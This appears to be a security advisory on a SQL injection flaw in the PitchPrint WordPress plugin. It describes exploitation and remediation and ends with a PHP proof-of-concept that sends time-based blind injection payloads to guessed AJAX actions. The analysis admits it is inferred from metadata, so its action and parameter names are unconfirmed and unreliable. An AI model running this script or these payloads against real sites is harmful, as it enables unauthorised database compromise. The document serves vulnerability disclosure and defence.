Atomic Edge analysis of CVE-2026-22448 (metadata-based):
The vulnerability is a critical SQL injection flaw in the PitchPrint WordPress plugin. This flaw allows unauthenticated attackers to execute arbitrary SQL commands on the underlying database. The vulnerability affects plugin components handling user input, likely through AJAX endpoints or REST API routes.
Atomic Edge research infers the root cause from the CWE classification. The plugin fails to properly sanitize or parameterize user-supplied input before incorporating it into SQL queries. This likely occurs in a function that directly concatenates user-controlled variables into SQL statements. The vulnerable code path is not confirmed via source code review, but the CWE classification strongly indicates a lack of prepared statements or insufficient escaping.
Exploitation would target WordPress AJAX endpoints. Attackers send crafted HTTP POST requests to /wp-admin/admin-ajax.php with the action parameter set to a PitchPrint-specific hook, such as pitchprint_action. Malicious SQL payloads are inserted into other parameters, like id or data. Example payloads include UNION-based queries or time-based blind injection techniques using SLEEP() or BENCHMARK() functions.
Remediation requires implementing proper input validation and prepared statements. The plugin should replace direct string concatenation in SQL queries with WordPress $wpdb methods like $wpdb->prepare(). All user input must be validated against expected data types, and database queries must use parameterized statements. The fix should also enforce proper capability checks on affected endpoints.
Successful exploitation grants attackers full read/write access to the WordPress database. This leads to complete site compromise, including extraction of sensitive user data, creation of administrative accounts, insertion of malicious content, and potential remote code execution via database functions. Attackers can manipulate any plugin or core WordPress table.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-22448 - PitchPrint WordPress Plugin SQL Injection
<?php
$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php';
// Common PitchPrint AJAX action names inferred from plugin slug
$possible_actions = [
'pitchprint_ajax_handler',
'pitchprint_action',
'pitchprint_save',
'pitchprint_load',
'pitchprint_update'
];
foreach ($possible_actions as $action) {
echo "[+] Testing action: $actionn";
// Time-based blind SQL injection payload
$payloads = [
'id' => "1' AND SLEEP(5) AND '1'='1",
'data' => "1' OR IF(1=1,SLEEP(5),0) AND '1'='1",
'project_id' => "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a) AND '1'='1"
];
foreach ($payloads as $param => $sql_payload) {
$post_data = [
'action' => $action,
$param => $sql_payload,
'nonce' => 'bypassed' // Nonce may be absent or improperly validated
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
$elapsed = $end_time - $start_time;
if ($elapsed >= 5) {
echo "[!] Potential SQL injection found!n";
echo " Action: $actionn";
echo " Parameter: $paramn";
echo " Response time: {$elapsed}sn";
echo " Response: " . substr($response, 0, 200) . "nn";
}
curl_close($ch);
usleep(500000); // Delay between requests
}
}
?>
